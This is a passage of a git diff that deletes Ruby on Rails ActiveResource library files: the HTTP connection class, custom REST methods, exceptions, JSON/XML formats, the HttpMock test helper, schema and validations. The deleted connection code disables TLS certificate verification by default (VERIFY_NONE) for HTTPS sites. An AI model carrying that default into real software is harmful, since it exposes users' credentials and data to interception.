-    # Executes a DELETE request (see HTTP protocol documentation if unfamiliar).
-    # Used to delete resources.
-    def delete(path, headers = {})
-      with_auth { request(:delete, path, build_request_headers(headers, :delete, self.site.merge(path))) }
-    end
-
-    # Executes a PUT request (see HTTP protocol documentation if unfamiliar).
-    # Used to update resources.
-    def put(path, body = '', headers = {})
-      with_auth { request(:put, path, body.to_s, build_request_headers(headers, :put, self.site.merge(path))) }
-    end
-
-    # Executes a POST request.
-    # Used to create new resources.
-    def post(path, body = '', headers = {})
-      with_auth { request(:post, path, body.to_s, build_request_headers(headers, :post, self.site.merge(path))) }
-    end
-
-    # Executes a HEAD request.
-    # Used to obtain meta-information about resources, such as whether they exist and their size (via response headers).
-    def head(path, headers = {})
-      with_auth { request(:head, path, build_request_headers(headers, :head, self.site.merge(path))) }
-    end
-
-    private
-      # Makes a request to the remote service.
-      def request(method, path, *arguments)
-        result = ActiveSupport::Notifications.instrument("request.active_resource") do |payload|
-          payload[:method]      = method
-          payload[:request_uri] = "#{site.scheme}://#{site.host}:#{site.port}#{path}"
-          payload[:result]      = http.send(method, path, *arguments)
-        end
-        handle_response(result)
-      rescue Timeout::Error => e
-        raise TimeoutError.new(e.message)
-      rescue OpenSSL::SSL::SSLError => e
-        raise SSLError.new(e.message)
-      end
-
-      # Handles response and error codes from the remote service.
-      def handle_response(response)
-        case response.code.to_i
-          when 301, 302, 303, 307
-            raise(Redirection.new(response))
-          when 200...400
-            response
-          when 400
-            raise(BadRequest.new(response))
-          when 401
-            raise(UnauthorizedAccess.new(response))
-          when 403
-            raise(ForbiddenAccess.new(response))
-          when 404
-            raise(ResourceNotFound.new(response))
-          when 405
-            raise(MethodNotAllowed.new(response))
-          when 409
-            raise(ResourceConflict.new(response))
-          when 410
-            raise(ResourceGone.new(response))
-          when 422
-            raise(ResourceInvalid.new(response))
-          when 401...500
-            raise(ClientError.new(response))
-          when 500...600
-            raise(ServerError.new(response))
-          else
-            raise(ConnectionError.new(response, "Unknown response code: #{response.code}"))
-        end
-      end
-
-      # Creates new Net::HTTP instance for communication with the
-      # remote service and resources.
-      def http
-        configure_http(new_http)
-      end
-
-      def new_http
-        if @proxy
-          Net::HTTP.new(@site.host, @site.port, @proxy.host, @proxy.port, @proxy.user, @proxy.password)
-        else
-          Net::HTTP.new(@site.host, @site.port)
-        end
-      end
-
-      def configure_http(http)
-        http = apply_ssl_options(http)
-
-        # Net::HTTP timeouts default to 60 seconds.
-        if @timeout
-          http.open_timeout = @timeout
-          http.read_timeout = @timeout
-        end
-
-        http
-      end
-
-      def apply_ssl_options(http)
-        return http unless @site.is_a?(URI::HTTPS)
-
-        http.use_ssl     = true
-        http.verify_mode = OpenSSL::SSL::VERIFY_NONE
-        return http unless defined?(@ssl_options)
-
-        http.ca_path     = @ssl_options[:ca_path] if @ssl_options[:ca_path]
-        http.ca_file     = @ssl_options[:ca_file] if @ssl_options[:ca_file]
-
-        http.cert        = @ssl_options[:cert] if @ssl_options[:cert]
-        http.key         = @ssl_options[:key]  if @ssl_options[:key]
-
-        http.cert_store  = @ssl_options[:cert_store]  if @ssl_options[:cert_store]
-        http.ssl_timeout = @ssl_options[:ssl_timeout] if @ssl_options[:ssl_timeout]
-
-        http.verify_mode     = @ssl_options[:verify_mode]     if @ssl_options[:verify_mode]
-        http.verify_callback = @ssl_options[:verify_callback] if @ssl_options[:verify_callback]
-        http.verify_depth    = @ssl_options[:verify_depth]    if @ssl_options[:verify_depth]
-
-        http
-      end
-
-      def default_header
-        @default_header ||= {}
-      end
-
-      # Builds headers for request to remote service.
-      def build_request_headers(headers, http_method, uri)
-        authorization_header(http_method, uri).update(default_header).update(http_format_header(http_method)).update(headers)
-      end
-
-      def response_auth_header
-        @response_auth_header ||= ""
-      end
-
-      def with_auth
-        retried ||= false
-        yield
-      rescue UnauthorizedAccess => e
-        raise if retried || auth_type != :digest
-        @response_auth_header = e.response['WWW-Authenticate']
-        retried = true
-        retry
-      end
-
-      def authorization_header(http_method, uri)
-        if @user || @password
-          if auth_type == :digest
-            { 'Authorization' => digest_auth_header(http_method, uri) }
-          else
-            { 'Authorization' => 'Basic ' + ["#{@user}:#{@password}"].pack('m').delete("\r\n") }
-          end
-        else
-          {}
-        end
-      end
-
-      def digest_auth_header(http_method, uri)
-        params = extract_params_from_response
-
-        request_uri = uri.path
-        request_uri << "?#{uri.query}" if uri.query
-
-        ha1 = Digest::MD5.hexdigest("#{@user}:#{params['realm']}:#{@password}")
-        ha2 = Digest::MD5.hexdigest("#{http_method.to_s.upcase}:#{request_uri}")
-
-        params.merge!('cnonce' => client_nonce)
-        request_digest = Digest::MD5.hexdigest([ha1, params['nonce'], "0", params['cnonce'], params['qop'], ha2].join(":"))
-        "Digest #{auth_attributes_for(uri, request_digest, params)}"
-      end
-
-      def client_nonce
-        Digest::MD5.hexdigest("%x" % (Time.now.to_i + rand(65535)))
-      end
-
-      def extract_params_from_response
-        params = {}
-        if response_auth_header =~ /^(\w+) (.*)/
-          $2.gsub(/(\w+)="(.*?)"/) { params[$1] = $2 }
-        end
-        params
-      end
-
-      def auth_attributes_for(uri, request_digest, params)
-        [
-          %Q(username="#{@user}"),
-          %Q(realm="#{params['realm']}"),
-          %Q(qop="#{params['qop']}"),
-          %Q(uri="#{uri.path}"),
-          %Q(nonce="#{params['nonce']}"),
-          %Q(nc="0"),
-          %Q(cnonce="#{params['cnonce']}"),
-          %Q(opaque="#{params['opaque']}"),
-          %Q(response="#{request_digest}")].join(", ")
-      end
-
-      def http_format_header(http_method)
-        {HTTP_FORMAT_HEADER_NAMES[http_method] => format.mime_type}
-      end
-
-      def legitimize_auth_type(auth_type)
-        return :basic if auth_type.nil?
-        auth_type = auth_type.to_sym
-        auth_type.in?([:basic, :digest]) ? auth_type : :basic
-      end
-  end
-end
diff --git a/activeresource/lib/active_resource/custom_methods.rb b/activeresource/lib/active_resource/custom_methods.rb
deleted file mode 100644
index c1931b2758..0000000000
--- a/activeresource/lib/active_resource/custom_methods.rb
+++ /dev/null
@@ -1,121 +0,0 @@
-require 'active_support/core_ext/object/blank'
-
-module ActiveResource
-  # A module to support custom REST methods and sub-resources, allowing you to break out
-  # of the "default" REST methods with your own custom resource requests.  For example,
-  # say you use Rails to expose a REST service and configure your routes with:
-  #
-  #    map.resources :people, :new => { :register => :post },
-  #                           :member => { :promote => :put, :deactivate => :delete }
-  #                           :collection => { :active => :get }
-  #
-  #  This route set creates routes for the following HTTP requests:
-  #
-  #    POST    /people/new/register.json # PeopleController.register
-  #    PUT     /people/1/promote.json    # PeopleController.promote with :id => 1
-  #    DELETE  /people/1/deactivate.json # PeopleController.deactivate with :id => 1
-  #    GET     /people/active.json       # PeopleController.active
-  #
-  # Using this module, Active Resource can use these custom REST methods just like the
-  # standard methods.
-  #
-  #   class Person < ActiveResource::Base
-  #     self.site = "http://37s.sunrise.i:3000"
-  #   end
-  #
-  #   Person.new(:name => 'Ryan).post(:register)  # POST /people/new/register.json
-  #   # => { :id => 1, :name => 'Ryan' }
-  #
-  #   Person.find(1).put(:promote, :position => 'Manager') # PUT /people/1/promote.json
-  #   Person.find(1).delete(:deactivate) # DELETE /people/1/deactivate.json
-  #
-  #   Person.get(:active)  # GET /people/active.json
-  #   # => [{:id => 1, :name => 'Ryan'}, {:id => 2, :name => 'Joe'}]
-  #
-  module CustomMethods
-    extend ActiveSupport::Concern
-
-    included do
-      class << self
-        alias :orig_delete :delete
-
-        # Invokes a GET to a given custom REST method. For example:
-        #
-        #   Person.get(:active)  # GET /people/active.json
-        #   # => [{:id => 1, :name => 'Ryan'}, {:id => 2, :name => 'Joe'}]
-        #
-        #   Person.get(:active, :awesome => true)  # GET /people/active.json?awesome=true
-        #   # => [{:id => 1, :name => 'Ryan'}]
-        #
-        # Note: the objects returned from this method are not automatically converted
-        # into ActiveResource::Base instances - they are ordinary Hashes. If you are expecting
-        # ActiveResource::Base instances, use the <tt>find</tt> class method with the
-        # <tt>:from</tt> option. For example:
-        #
-        #   Person.find(:all, :from => :active)
-        def get(custom_method_name, options = {})
-          hashified = format.decode(connection.get(custom_method_collection_url(custom_method_name, options), headers).body)
-          derooted  = Formats.remove_root(hashified)
-          derooted.is_a?(Array) ? derooted.map { |e| Formats.remove_root(e) } : derooted
-        end
-
-        def post(custom_method_name, options = {}, body = '')
-          connection.post(custom_method_collection_url(custom_method_name, options), body, headers)
-        end
-
-        def put(custom_method_name, options = {}, body = '')
-          connection.put(custom_method_collection_url(custom_method_name, options), body, headers)
-        end
-
-        def delete(custom_method_name, options = {})
-          # Need to jump through some hoops to retain the original class 'delete' method
-          if custom_method_name.is_a?(Symbol)
-            connection.delete(custom_method_collection_url(custom_method_name, options), headers)
-          else
-            orig_delete(custom_method_name, options)
-          end
-        end
-      end
-    end
-
-    module ClassMethods
-      def custom_method_collection_url(method_name, options = {})
-        prefix_options, query_options = split_options(options)
-        "#{prefix(prefix_options)}#{collection_name}/#{method_name}.#{format.extension}#{query_string(query_options)}"
-      end
-    end
-
-    module InstanceMethods
-      def get(method_name, options = {})
-        self.class.format.decode(connection.get(custom_method_element_url(method_name, options), self.class.headers).body)
-      end
-
-      def post(method_name, options = {}, body = nil)
-        request_body = body.blank? ? encode : body
-        if new?
-          connection.post(custom_method_new_element_url(method_name, options), request_body, self.class.headers)
-        else
-          connection.post(custom_method_element_url(method_name, options), request_body, self.class.headers)
-        end
-      end
-
-      def put(method_name, options = {}, body = '')
-        connection.put(custom_method_element_url(method_name, options), body, self.class.headers)
-      end
-
-      def delete(method_name, options = {})
-        connection.delete(custom_method_element_url(method_name, options), self.class.headers)
-      end
-
-
-      private
-        def custom_method_element_url(method_name, options = {})
-          "#{self.class.prefix(prefix_options)}#{self.class.collection_name}/#{id}/#{method_name}.#{self.class.format.extension}#{self.class.__send__(:query_string, options)}"
-        end
-
-        def custom_method_new_element_url(method_name, options = {})
-          "#{self.class.prefix(prefix_options)}#{self.class.collection_name}/new/#{method_name}.#{self.class.format.extension}#{self.class.__send__(:query_string, options)}"
-        end
-    end
-  end
-end
diff --git a/activeresource/lib/active_resource/exceptions.rb b/activeresource/lib/active_resource/exceptions.rb
deleted file mode 100644
index 6b953b28ad..0000000000
--- a/activeresource/lib/active_resource/exceptions.rb
+++ /dev/null
@@ -1,72 +0,0 @@
-module ActiveResource
-  class ConnectionError < StandardError # :nodoc:
-    attr_reader :response
-
-    def initialize(response, message = nil)
-      @response = response
-      @message  = message
-    end
-
-    def to_s
-      message = "Failed."
-      message << "  Response code = #{response.code}." if response.respond_to?(:code)
-      message << "  Response message = #{response.message}." if response.respond_to?(:message)
-      message
-    end
-  end
-
-  # Raised when a Timeout::Error occurs.
-  class TimeoutError < ConnectionError
-    def initialize(message)
-      @message = message
-    end
-    def to_s; @message ;end
-  end
-
-  # Raised when a OpenSSL::SSL::SSLError occurs.
-  class SSLError < ConnectionError
-    def initialize(message)
-      @message = message
-    end
-    def to_s; @message ;end
-  end
-
-  # 3xx Redirection
-  class Redirection < ConnectionError # :nodoc:
-    def to_s; response['Location'] ? "#{super} => #{response['Location']}" : super; end
-  end
-
-  # Raised when ...
-  class MissingPrefixParam < ArgumentError; end # :nodoc:
-
-  # 4xx Client Error
-  class ClientError < ConnectionError; end # :nodoc:
-
-  # 400 Bad Request
-  class BadRequest < ClientError; end # :nodoc
-
-  # 401 Unauthorized
-  class UnauthorizedAccess < ClientError; end # :nodoc
-
-  # 403 Forbidden
-  class ForbiddenAccess < ClientError; end # :nodoc
-
-  # 404 Not Found
-  class ResourceNotFound < ClientError; end # :nodoc:
-
-  # 409 Conflict
-  class ResourceConflict < ClientError; end # :nodoc:
-
-  # 410 Gone
-  class ResourceGone < ClientError; end # :nodoc:
-
-  # 5xx Server Error
-  class ServerError < ConnectionError; end # :nodoc:
-
-  # 405 Method Not Allowed
-  class MethodNotAllowed < ClientError # :nodoc:
-    def allowed_methods
-      @response['Allow'].split(',').map { |verb| verb.strip.downcase.to_sym }
-    end
-  end
-end
diff --git a/activeresource/lib/active_resource/formats.rb b/activeresource/lib/active_resource/formats.rb
deleted file mode 100644
index f7ad689cc5..0000000000
--- a/activeresource/lib/active_resource/formats.rb
+++ /dev/null
@@ -1,22 +0,0 @@
-module ActiveResource
-  module Formats
-    autoload :XmlFormat, 'active_resource/formats/xml_format'
-    autoload :JsonFormat, 'active_resource/formats/json_format'
-
-    # Lookup the format class from a mime type reference symbol. Example:
-    #
-    #   ActiveResource::Formats[:xml]  # => ActiveResource::Formats::XmlFormat
-    #   ActiveResource::Formats[:json] # => ActiveResource::Formats::JsonFormat
-    def self.[](mime_type_reference)
-      ActiveResource::Formats.const_get(ActiveSupport::Inflector.camelize(mime_type_reference.to_s) + "Format")
-    end
-
-    def self.remove_root(data)
-      if data.is_a?(Hash) && data.keys.size == 1
-        data.values.first
-      else
-        data
-      end
-    end
-  end
-end
diff --git a/activeresource/lib/active_resource/formats/json_format.rb b/activeresource/lib/active_resource/formats/json_format.rb
deleted file mode 100644
index 827d1cc23a..0000000000
--- a/activeresource/lib/active_resource/formats/json_format.rb
+++ /dev/null
@@ -1,25 +0,0 @@
-require 'active_support/json'
-
-module ActiveResource
-  module Formats
-    module JsonFormat
-      extend self
-
-      def extension
-        "json"
-      end
-
-      def mime_type
-        "application/json"
-      end
-
-      def encode(hash, options = nil)
-        ActiveSupport::JSON.encode(hash, options)
-      end
-
-      def decode(json)
-        Formats.remove_root(ActiveSupport::JSON.decode(json))
-      end
-    end
-  end
-end
diff --git a/activeresource/lib/active_resource/formats/xml_format.rb b/activeresource/lib/active_resource/formats/xml_format.rb
deleted file mode 100644
index 49cb9aa1ac..0000000000
--- a/activeresource/lib/active_resource/formats/xml_format.rb
+++ /dev/null
@@ -1,25 +0,0 @@
-require 'active_support/core_ext/hash/conversions'
-
-module ActiveResource
-  module Formats
-    module XmlFormat
-      extend self
-
-      def extension
-        "xml"
-      end
-
-      def mime_type
-        "application/xml"
-      end
-
-      def encode(hash, options={})
-        hash.to_xml(options)
-      end
-
-      def decode(xml)
-        Formats.remove_root(Hash.from_xml(xml))
-      end
-    end
-  end
-end
diff --git a/activeresource/lib/active_resource/http_mock.rb b/activeresource/lib/active_resource/http_mock.rb
deleted file mode 100644
index 36f52d61d3..0000000000
--- a/activeresource/lib/active_resource/http_mock.rb
+++ /dev/null
@@ -1,335 +0,0 @@
-require 'active_support/core_ext/kernel/reporting'
-require 'active_support/core_ext/object/inclusion'
-
-module ActiveResource
-  class InvalidRequestError < StandardError; end #:nodoc:
-
-  # One thing that has always been a pain with remote web services is testing.  The HttpMock
-  # class makes it easy to test your Active Resource models by creating a set of mock responses to specific
-  # requests.
-  #
-  # To test your Active Resource model, you simply call the ActiveResource::HttpMock.respond_to
-  # method with an attached block. The block declares a set of URIs with expected input, and the output
-  # each request should return. The passed in block has any number of entries in the following generalized
-  # format:
-  #
-  #   mock.http_method(path, request_headers = {}, body = nil, status = 200, response_headers = {})
-  #
-  # * <tt>http_method</tt> - The HTTP method to listen for.  This can be +get+, +post+, +put+, +delete+ or
-  #   +head+.
-  # * <tt>path</tt> - A string, starting with a "/", defining the URI that is expected to be
-  #   called.
-  # * <tt>request_headers</tt> - Headers that are expected along with the request.  This argument uses a
-  #   hash format, such as <tt>{ "Content-Type" => "application/json" }</tt>.  This mock will only trigger
-  #   if your tests sends a request with identical headers.
-  # * <tt>body</tt> - The data to be returned.  This should be a string of Active Resource parseable content,
-  #   such as Json.
-  # * <tt>status</tt> - The HTTP response code, as an integer, to return with the response.
-  # * <tt>response_headers</tt> - Headers to be returned with the response.  Uses the same hash format as
-  #   <tt>request_headers</tt> listed above.
-  #
-  # In order for a mock to deliver its content, the incoming request must match by the <tt>http_method</tt>,
-  # +path+ and <tt>request_headers</tt>. If no match is found an +InvalidRequestError+ exception
-  # will be raised showing you what request it could not find a response for and also what requests and response
-  # pairs have been recorded so you can create a new mock for that request.
-  #
-  # ==== Example
-  #   def setup
-  #     @matz  = { :person => { :id => 1, :name => "Matz" } }.to_json
-  #     ActiveResource::HttpMock.respond_to do |mock|
-  #       mock.post   "/people.json",   {}, @matz, 201, "Location" => "/people/1.json"
-  #       mock.get    "/people/1.json", {}, @matz
-  #       mock.put    "/people/1.json", {}, nil, 204
-  #       mock.delete "/people/1.json", {}, nil, 200
-  #     end
-  #   end
-  #
-  #   def test_get_matz
-  #     person = Person.find(1)
-  #     assert_equal "Matz", person.name
-  #   end
-  #
-  class HttpMock
-    class Responder #:nodoc:
-      def initialize(responses)
-        @responses = responses
-      end
-
-      [ :post, :put, :get, :delete, :head ].each do |method|
-        # def post(path, request_headers = {}, body = nil, status = 200, response_headers = {})
-        #   @responses[Request.new(:post, path, nil, request_headers)] = Response.new(body || "", status, response_headers)
-        # end
-        module_eval <<-EOE, __FILE__, __LINE__ + 1
-          def #{method}(path, request_headers = {}, body = nil, status = 200, response_headers = {})
-            request  = Request.new(:#{method}, path, nil, request_headers)
-            response = Response.new(body || "", status, response_headers)
-
-            delete_duplicate_responses(request)
-
-            @responses << [request, response]
-          end
-        EOE
-      end
-
-    private
-
-      def delete_duplicate_responses(request)
-        @responses.delete_if {|r| r[0] == request }
-      end
-    end
-
-    class << self
-
-      # Returns an array of all request objects that have been sent to the mock. You can use this to check
-      # if your model actually sent an HTTP request.
-      #
-      # ==== Example
-      #   def setup
-      #     @matz  = { :person => { :id => 1, :name => "Matz" } }.to_json
-      #     ActiveResource::HttpMock.respond_to do |mock|
-      #       mock.get "/people/1.json", {}, @matz
-      #     end
-      #   end
-      #
-      #   def test_should_request_remote_service
-      #     person = Person.find(1)  # Call the remote service
-      #
-      #     # This request object has the same HTTP method and path as declared by the mock
-      #     expected_request = ActiveResource::Request.new(:get, "/people/1.json")
-      #
-      #     # Assert that the mock received, and responded to, the expected request from the model
-      #     assert ActiveResource::HttpMock.requests.include?(expected_request)
-      #   end
-      def requests
-        @@requests ||= []
-      end
-
-      # Returns the list of requests and their mocked responses. Look up a
-      # response for a request using <tt>responses.assoc(request)</tt>.
-      def responses
-        @@responses ||= []
-      end
-
-      # Accepts a block which declares a set of requests and responses for the HttpMock to respond to in
-      # the following format:
-      #
-      #   mock.http_method(path, request_headers = {}, body = nil, status = 200, response_headers = {})
-      #
-      # === Example
-      #
-      #   @matz  = { :person => { :id => 1, :name => "Matz" } }.to_json
-      #   ActiveResource::HttpMock.respond_to do |mock|
-      #     mock.post   "/people.json",   {}, @matz, 201, "Location" => "/people/1.json"
-      #     mock.get    "/people/1.json", {}, @matz
-      #     mock.put    "/people/1.json", {}, nil, 204
-      #     mock.delete "/people/1.json", {}, nil, 200
-      #   end
-      #
-      # Alternatively, accepts a hash of <tt>{Request => Response}</tt> pairs allowing you to generate
-      # these the following format:
-      #
-      #   ActiveResource::Request.new(method, path, body, request_headers)
-      #   ActiveResource::Response.new(body, status, response_headers)
-      #
-      # === Example
-      #
-      # Request.new(:#{method}, path, nil, request_headers)
-      #
-      #   @matz  = { :person => { :id => 1, :name => "Matz" } }.to_json
-      #
-      #   create_matz      = ActiveResource::Request.new(:post, '/people.json', @matz, {})
-      #   created_response = ActiveResource::Response.new("", 201, {"Location" => "/people/1.json"})
-      #   get_matz         = ActiveResource::Request.new(:get, '/people/1.json', nil)
-      #   ok_response      = ActiveResource::Response.new("", 200, {})
-      #
-      #   pairs = {create_matz => created_response, get_matz => ok_response}
-      #
-      #   ActiveResource::HttpMock.respond_to(pairs)
-      #
-      # Note, by default, every time you call +respond_to+, any previous request and response pairs stored
-      # in HttpMock will be deleted giving you a clean slate to work on.
-      #
-      # If you want to override this behavior, pass in +false+ as the last argument to +respond_to+
-      #
-      # === Example
-      #
-      #   ActiveResource::HttpMock.respond_to do |mock|
-      #     mock.send(:get, "/people/1", {}, "JSON1")
-      #   end
-      #   ActiveResource::HttpMock.responses.length #=> 1
-      #
-      #   ActiveResource::HttpMock.respond_to(false) do |mock|
-      #     mock.send(:get, "/people/2", {}, "JSON2")
-      #   end
-      #   ActiveResource::HttpMock.responses.length #=> 2
-      #
-      # This also works with passing in generated pairs of requests and responses, again, just pass in false
-      # as the last argument:
-      #
-      # === Example
-      #
-      #   ActiveResource::HttpMock.respond_to do |mock|
-      #     mock.send(:get, "/people/1", {}, "JSON1")
-      #   end
-      #   ActiveResource::HttpMock.responses.length #=> 1
-      #
-      #   get_matz         = ActiveResource::Request.new(:get, '/people/1.json', nil)
-      #   ok_response      = ActiveResource::Response.new("", 200, {})
-      #
-      #   pairs = {get_matz => ok_response}
-      #
-      #   ActiveResource::HttpMock.respond_to(pairs, false)
-      #   ActiveResource::HttpMock.responses.length #=> 2
-      #
-      #   # If you add a response with an existing request, it will be replaced
-      #
-      #   fail_response      = ActiveResource::Response.new("", 404, {})
-      #   pairs = {get_matz => fail_response}
-      #
-      #   ActiveResource::HttpMock.respond_to(pairs, false)
-      #   ActiveResource::HttpMock.responses.length #=> 2
-      #
-      def respond_to(*args) #:yields: mock
-        pairs = args.first || {}
-        reset! if args.last.class != FalseClass
-
-        if block_given?
-          yield Responder.new(responses)
-        else
-          delete_responses_to_replace pairs.to_a
-          responses.concat pairs.to_a
-          Responder.new(responses)
-        end
-      end
-
-      def delete_responses_to_replace(new_responses)
-        new_responses.each{|nr|
-          request_to_remove = nr[0]
-          @@responses = responses.delete_if{|r| r[0] == request_to_remove}
-        }
-      end
-
-      # Deletes all logged requests and responses.
-      def reset!
-        requests.clear
-        responses.clear
-      end
-    end
-
-    # body?       methods
-    { true  => %w(post put),
-      false => %w(get delete head) }.each do |has_body, methods|
-      methods.each do |method|
-        # def post(path, body, headers)
-        #   request = ActiveResource::Request.new(:post, path, body, headers)
-        #   self.class.requests << request
-        #   if response = self.class.responses.assoc(request)
-        #     response[1]
-        #   else
-        #     raise InvalidRequestError.new("Could not find a response recorded for #{request.to_s} - Responses recorded are: - #{inspect_responses}")
-        #   end
-        # end
-        module_eval <<-EOE, __FILE__, __LINE__ + 1
-          def #{method}(path, #{'body, ' if has_body}headers)
-            request = ActiveResource::Request.new(:#{method}, path, #{has_body ? 'body, ' : 'nil, '}headers)
-            self.class.requests << request
-            if response = self.class.responses.assoc(request)
-              response[1]
-            else
-              raise InvalidRequestError.new("Could not find a response recorded for \#{request.to_s} - Responses recorded are: \#{inspect_responses}")
-            end
-          end
-        EOE
-      end
-    end
-
-    def initialize(site) #:nodoc:
-      @site = site
-    end
-
-    def inspect_responses #:nodoc:
-      self.class.responses.map { |r| r[0].to_s }.inspect
-    end
-  end
-
-  class Request
-    attr_accessor :path, :method, :body, :headers
-
-    def initialize(method, path, body = nil, headers = {})
-      @method, @path, @body, @headers = method, path, body, headers
-    end
-
-    def ==(req)
-      path == req.path && method == req.method && headers_match?(req)
-    end
-
-    def to_s
-      "<#{method.to_s.upcase}: #{path} [#{headers}] (#{body})>"
-    end
-
-    private
-
-    def headers_match?(req)
-      # Ignore format header on equality if it's not defined
-      format_header = ActiveResource::Connection::HTTP_FORMAT_HEADER_NAMES[method]
-      if headers[format_header].present? || req.headers[format_header].blank?
-        headers == req.headers
-      else
-        headers.dup.merge(format_header => req.headers[format_header]) == req.headers
-      end
-    end
-  end
-
-  class Response
-    attr_accessor :body, :message, :code, :headers
-
-    def initialize(body, message = 200, headers = {})
-      @body, @message, @headers = body, message.to_s, headers
-      @code = @message[0,3].to_i
-
-      resp_cls = Net::HTTPResponse::CODE_TO_OBJ[@code.to_s]
-      if resp_cls && !resp_cls.body_permitted?
-        @body = nil
-      end
-
-      if @body.nil?
-        self['Content-Length'] = "0"
-      else
-        self['Content-Length'] = body.size.to_s
-      end
-    end
-
-    # Returns true if code is 2xx,
-    # false otherwise.
-    def success?
-      code.in?(200..299)
-    end
-
-    def [](key)
-      headers[key]
-    end
-
-    def []=(key, value)
-      headers[key] = value
-    end
-
-    # Returns true if the other is a Response with an equal body, equal message
-    # and equal headers. Otherwise it returns false.
-    def ==(other)
-      if (other.is_a?(Response))
-        other.body == body && other.message == message && other.headers == headers
-      else
-        false
-      end
-    end
-  end
-
-  class Connection
-    private
-      silence_warnings do
-        def http
-          @http ||= HttpMock.new(@site)
-        end
-      end
-  end
-end
diff --git a/activeresource/lib/active_resource/log_subscriber.rb b/activeresource/lib/active_resource/log_subscriber.rb
deleted file mode 100644
index 9e52baf36d..0000000000
--- a/activeresource/lib/active_resource/log_subscriber.rb
+++ /dev/null
@@ -1,15 +0,0 @@
-module ActiveResource
-  class LogSubscriber < ActiveSupport::LogSubscriber
-    def request(event)
-      result = event.payload[:result]
-      info "#{event.payload[:method].to_s.upcase} #{event.payload[:request_uri]}"
-      info "--> %d %s %d (%.1fms)" % [result.code, result.message, result.body.to_s.length, event.duration]
-    end
-
-    def logger
-      ActiveResource::Base.logger
-    end
-  end
-end
-
-ActiveResource::LogSubscriber.attach_to :active_resource
\ No newline at end of file
diff --git a/activeresource/lib/active_resource/observing.rb b/activeresource/lib/active_resource/observing.rb
deleted file mode 100644
index 1bfceb8dc8..0000000000
--- a/activeresource/lib/active_resource/observing.rb
+++ /dev/null
@@ -1,29 +0,0 @@
-module ActiveResource
-  module Observing
-    extend ActiveSupport::Concern
-    include ActiveModel::Observing
-
-    included do
-      %w( create save update destroy ).each do |method|
-        # def create_with_notifications(*args, &block)
-        #   notify_observers(:before_create)
-        #   if result = create_without_notifications(*args, &block)
-        #     notify_observers(:after_create)
-        #   end
-        #   result
-        # end
-        # alias_method_chain(create, :notifications)
-        class_eval(<<-EOS, __FILE__, __LINE__ + 1)
-          def #{method}_with_notifications(*args, &block)
-            notify_observers(:before_#{method})
-            if result = #{method}_without_notifications(*args, &block)
-              notify_observers(:after_#{method})
-            end
-            result
-          end
-        EOS
-        alias_method_chain(method, :notifications)
-      end
-    end
-  end
-end
diff --git a/activeresource/lib/active_resource/railtie.rb b/activeresource/lib/active_resource/railtie.rb
deleted file mode 100644
index 60f6f88311..0000000000
--- a/activeresource/lib/active_resource/railtie.rb
+++ /dev/null
@@ -1,14 +0,0 @@
-require "active_resource"
-require "rails"
-
-module ActiveResource
-  class Railtie < Rails::Railtie
-    config.active_resource = ActiveSupport::OrderedOptions.new
-
-    initializer "active_resource.set_configs" do |app|
-      app.config.active_resource.each do |k,v|
-        ActiveResource::Base.send "#{k}=", v
-      end
-    end
-  end
-end
\ No newline at end of file
diff --git a/activeresource/lib/active_resource/schema.rb b/activeresource/lib/active_resource/schema.rb
deleted file mode 100644
index 5957969aa2..0000000000
--- a/activeresource/lib/active_resource/schema.rb
+++ /dev/null
@@ -1,59 +0,0 @@
-require 'active_resource/exceptions'
-
-module ActiveResource # :nodoc:
-  class Schema # :nodoc:
-    # attributes can be known to be one of these types. They are easy to
-    # cast to/from.
-    KNOWN_ATTRIBUTE_TYPES = %w( string text integer float decimal datetime timestamp time date binary boolean )
-
-    # An array of attribute definitions, representing the attributes that
-    # have been defined.
-    attr_accessor :attrs
-
-    # The internals of an Active Resource Schema are very simple -
-    # unlike an Active Record TableDefinition (on which it is based).
-    # It provides a set of convenience methods for people to define their
-    # schema using the syntax:
-    #  schema do
-    #    string :foo
-    #    integer :bar
-    #  end
-    #
-    #  The schema stores the name and type of each attribute. That is then
-    #  read out by the schema method to populate the schema of the actual
-    #  resource.
-    def initialize
-      @attrs = {}
-    end
-
-    def attribute(name, type, options = {})
-      raise ArgumentError, "Unknown Attribute type: #{type.inspect} for key: #{name.inspect}" unless type.nil? || Schema::KNOWN_ATTRIBUTE_TYPES.include?(type.to_s)
-
-      the_type = type.to_s
-      # TODO: add defaults
-      #the_attr = [type.to_s]
-      #the_attr << options[:default] if options.has_key? :default
-      @attrs[name.to_s] = the_type
-      self
-    end
-
-    # The following are the attribute types supported by Active Resource
-    # migrations.
-    KNOWN_ATTRIBUTE_TYPES.each do |attr_type|
-      # def string(*args)
-      #   options = args.extract_options!
-      #   attr_names = args
-      #
-      #   attr_names.each { |name| attribute(name, 'string', options) }
-      # end
-      class_eval <<-EOV, __FILE__, __LINE__ + 1
-        def #{attr_type.to_s}(*args)
-          options = args.extract_options!
-          attr_names = args
-
-          attr_names.each { |name| attribute(name, '#{attr_type}', options) }
-        end
-      EOV
-    end
-  end
-end
diff --git a/activeresource/lib/active_resource/validations.rb b/activeresource/lib/active_resource/validations.rb
deleted file mode 100644
index ca265d053e..0000000000
--- a/activeresource/lib/active_resource/validations.rb
+++ /dev/null
@@ -1,134 +0,0 @@
-require 'active_support/core_ext/array/wrap'
-require 'active_support/core_ext/object/blank'
-
-module ActiveResource
-  class ResourceInvalid < ClientError  #:nodoc:
-  end
-
-  # Active Resource validation is reported to and from this object, which is used by Base#save
-  # to determine whether the object in a valid state to be saved. See usage example in Validations.
-  class Errors < ActiveModel::Errors
-    # Grabs errors from an array of messages (like ActiveRecord::Validations).
-    # The second parameter directs the errors cache to be cleared (default)
-    # or not (by passing true).
-    def from_array(messages, save_cache = false)
-      clear unless save_cache
-      humanized_attributes = Hash[@base.attributes.keys.map { |attr_name| [attr_name.humanize, attr_name] }]
-      messages.each do |message|
-        attr_message = humanized_attributes.keys.detect do |attr_name|
-          if message[0, attr_name.size + 1] == "#{attr_name} "
-            add humanized_attributes[attr_name], message[(attr_name.size + 1)..-1]
-          end
-        end
-
-        self[:base] << message if attr_message.nil?
-      end
-    end
-
-    # Grabs errors from a json response.
-    def from_json(json, save_cache = false)
-      array = Array.wrap(ActiveSupport::JSON.decode(json)['errors']) rescue []
-      from_array array, save_cache
-    end
-
-    # Grabs errors from an XML response.
-    def from_xml(xml, save_cache = false)
-      array = Array.wrap(Hash.from_xml(xml)['errors']['error']) rescue []
-      from_array array, save_cache
-    end
-  end
-
-  # Module to support validation and errors with Active Resource objects. The module overrides
-  # Base#save to rescue ActiveResource::ResourceInvalid exceptions and parse the errors returned
